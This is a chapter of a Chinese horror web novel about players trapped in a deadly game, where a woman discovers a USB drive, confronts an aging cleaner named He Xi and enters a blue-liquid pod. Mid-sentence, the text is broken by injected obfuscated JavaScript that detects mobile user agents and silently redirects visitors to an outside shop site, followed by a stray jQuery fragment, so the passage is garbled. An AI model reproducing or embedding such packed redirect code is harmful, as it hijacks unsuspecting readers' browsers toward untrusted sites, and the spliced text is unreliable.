门外空无一人。
刚才看见的乔礼是幻觉?还是她动作太快已经回了房间?对于这两个猜测沈以安更偏向于后者。
她伸了个懒腰,后背痒得更厉害了,好像有成百上千只蚂蚁在爬。不能再耽误下去了。沈以安想着关上房间门,朝洗衣房走去。
异常安静的走廊上清晰回荡着她的脚步声,在路过卫生间门口时她停下脚步朝里面看了一眼,老太太没出现,也没有其他人。
洗衣房里,3号烘干机已经停止转动,想来是已经洗好了。
沈以安走到旁边洗衣筐收纳处,弯腰抽了一个出来。这时她余光扫到最角落里好像有个银色的条状态物品。
什么东西?她蹲下身子把挡住视线的另一只洗衣筐扯出来,看清楚原来是个银色U盘。
U盘,刚刚那女人的?她那会儿确实也拿了洗衣筐,而且他们几个只在这里见过她。
下面储物空间不大,沈以安偏着身子去够,但她上半身进不去所以看不见U盘具体位置,只能凭记忆往角落里摸。
“小姑娘,你在找什么啊?”
沈以安刚摸到U盘,老太太突然出现在门口。
她还是昨天那身衣服,不过手里只提着拖布并没有污水桶。
“是奶奶啊,您过来拖地?”沈以安拍拍身上的灰站起来,“我刚才拿洗衣筐时候手机不小心掉出来了。”她摊开手,手心里确实只有一部手机。
老太太放下拖布,一边拖地一边说,“手机这东西不经摔,下次要小心点。”
“嗯,知道了。”沈以安把手机揣进兜里,袖子里的U盘也一并滑了进去。
她打开烘干机,衣服洗得干干净净,味道也很好闻。
“机器号码不同,投放的柔顺剂也不一样。”老太太停下动作,“我也很喜欢3号。”说完,她低下头继续工作。
她身上的味道确实和手上衣服是一样的。而且昨天遇见她时,沈以安所有的注意力都放在污水桶上,并没有好好看她的脸。
现在沈以安看出了不对劲,老太太虽然身体佝偻头发花白,脸却没有很苍老,能看得出年轻时候很漂亮。就像...之前来洗衣房里的那个女人一样。
两人的面貌在她脑中慢慢重合,皮肤松弛状态不同,但骨相变不了。还有那双眼睛!
沈以安从衣兜里翻出之前找到的标签,轻声嘟囔了一句:“贺希。”
话音刚落,老太太抬起了头:“姑娘,你喊我?”
她们果真是同一个人!
沈以安把标签递给她,“我刚取衣服时捡到了这个,这么巧竟然是您的。”
贺希伸出满是皱纹的手,“谢谢。”她接过标签轻轻抚摸着,“那个时候真好啊。”
“但我...回不去了。”
话落,她手掌突然用力把标签揉捏到一起,然后抬起手臂将其塞进嘴里。
嘴巴随着她的咀嚼动作张开又闭合,丝质标签并非一两下就能嚼碎,但咀嚼次数越来越多,丝线开始在她嘴里分散。她的牙齿,舌头和口腔渐渐被白色细丝填满。
“我取完衣服该回去了,就不打扰您工作了。”沈以安把手机重新握回手里,另一只手则端起洗衣筐架在自己胯上转身往门口走。
如果她像昨天似的突然暴怒自己该用哪个道具?时间过得太久,逆转两秒也没用,那用伤害减半的还是小菊花?她感觉都不行啊!就在沈以安纠结时,贺希异常平静的声音在她身后传来:
“姑娘,谢谢。”
“还有,别沾上那蓝色液体。”
贺希说完话低下头继续工作。
沈以安没有转身,但她点了点头,说好。
刚打开3号房间门,季蔚冉立刻围过来问她怎么样,有没有发生什么。
沈以安把刚才事情简单说了一遍,然后掏出U盘,“还发现了这个。”
“U盘?”季蔚冉打量一圈,“但房间里没有电脑啊,要怎么打开?”
“这里是没有,但楼下接待处有。”沈以安在回来路上就想到了那里,但接待处有三个人,就算她和季蔚冉配合再默契,也不能一下子把她们都引开。
“U盘等明早周寒江醒了在商量,咱们今晚还有个更要紧的事儿得做。”沈以安看了眼门口,用手挡住嘴凑到季蔚冉耳边。
季蔚冉震惊,“真的假的?你决定好了?”
“嗯,想赌一把,你呢?要和我一起吗?”
季蔚冉搂住她肩膀,“重逢就是缘,我当然信你啊!”
下午没什么事,两人都眯了一会,睁眼已经到了吃晚饭时间。
吃饭地点还是一楼餐厅,里面员工依旧动作机械不言不语,乔礼也没下来,好在没再发生什么特别的事。
晚上十点半,电源准时切断。灯光熄灭,室内陷入黑暗。
沈以安和季蔚冉也在这时轻手轻脚地打开了房间门。
上3楼需要经过2号房间,尽管走廊一片漆黑,她们还是勾着腰小心翼翼地从2号门口过去。
其实沈以安心里也害怕,就像她和季蔚冉说的,她是在赌。
因为她不相信周寒江,更不相信贺希。
虽然周寒江上午的言行举止有一瞬间打动了她,甚至让她相信他就是沈以妙队长,就是乔礼口中顶好顶好且负责任的人。
但她从妹妹,联想到了孙琪琪。想到昨天刚来时周寒江对孙琪琪的态度和他实际行动的对比出入。
也有可能他是对外人冷漠对自己人上心,但沈以安还是选择相信自己的直觉。
不过她当时也没搞懂周寒江为什么要演这一出。直到在洗衣房贺希和她说远离蓝色液体。
远离?呵,可后背这个鬼样子就是她造成啊。
所以取完衣服出来,沈以安就决定去三楼做检查。但不能白天去,周寒江可能是真的昏迷了,乔礼却还在监视她们。
两人来到三楼门前,沈以安抬手轻敲三下。
“安安,这么晚了真能有人来给咱们开...”
门开了。
“我就知道你们会来,请进。”艾比微笑着让出位置。
白
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17722244|208726||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
天的三楼整洁明亮,就像众多写字楼里的公司,单调且枯燥。夜晚虽然没了白炽灯,但眼睛所见之处尽是蓝色幽光。
最显眼的当然是机器最上面的圆球,其次是花圃,然后就是莹莹点点的地面与房间。
整个三楼都被蓝色笼罩,神秘非常。
艾比将准备好的衣服递给沈以安和季蔚冉,“去换上吧,我在这里等你们。”
两人接过衣服再次走进上午那间员工休息室。
原本狼藉的地面已经恢复原状,窗台上也换了几盆新的多肉。
“快点换吧,换完赶紧出去。”沈以安说完双手交叉扯住衣服下摆往上面拽,但...衣服似乎被什么东西刮住了。
“安安你后背!”季蔚冉惊呼一声。
沈以安朝自己后背摸去,然后...她摸到了一只小小的手。刚才没脱下来的衣服就是因为挂在了它的手指上。
后背真的开始长出“人”了。
“没事,赶紧换完衣服出...”
“哇~哇~哇~”沈以安话还没说完,后背突然传来孩童啼哭声。它一哭,季蔚冉后背也开始哭。
所有员工一齐朝这里看来,阳台上的植物也发出“漱漱”的摩擦声。
一时间,哭声,浇花声,植物生长声,声声不息。
“哭哭哭!再哭把你嘴撕烂!”
本来点进这个破游戏就烦,妹妹妹妹找不到,游戏游戏不通关,这下后背又长出小孩了,沈以安一整个崩溃想发疯。
但没想到,她吼完这句话哭声真的停了。不止哭声,连窗台盆栽都老老实实开始装死。
哦,原来这游戏也吃硬不吃软啊。沈以安冷笑着脱下衣服,换上蓝色手术服。
季蔚冉被惊到了,印象里的沈以安还是大学时那个一直温温柔柔,就算旁人开了过分玩笑也不会当场生气,需要被人呵护的温室小花。
所以好多事情都是自己给她出头,就算害怕得要死,沈以安想玩鬼屋季蔚冉也当坦克挡在她前面。
季蔚冉回忆了下这两天的相处,发觉沈以安真的变化很大。但对于她的改变,她觉得非常好!
因为她们面对的是个吃人不吐骨头的游戏。
其实进入这游戏这三个月里季蔚冉一直在逃避,她心里是恐惧的,害怕游戏,害怕NPC,也害怕遇见坏队友。如今看沈以安这样,她觉得自己该坚强起来了。
不变强大,就是死路一条。
她不想拖沈以安后腿。
季蔚冉忽略身后怪异感,快速换上衣服。“安安我换好了,咱们出去吧。”
两人走到艾比旁边,沈以安看了眼机器,“可以开始了。”
“那请二位站到培养舱前吧。”艾比抬手按下按钮,舱门缓缓打开。
“没事。”走进去前,沈以安握着季蔚冉的手说。她在安慰她,也是在说给自己。
两人走进去后舱门自动关闭,舱体上方开始出现响动,圆球内的修复液剧烈沸腾着。
两三秒后,蓝色液体顺着两人头顶开始往下流。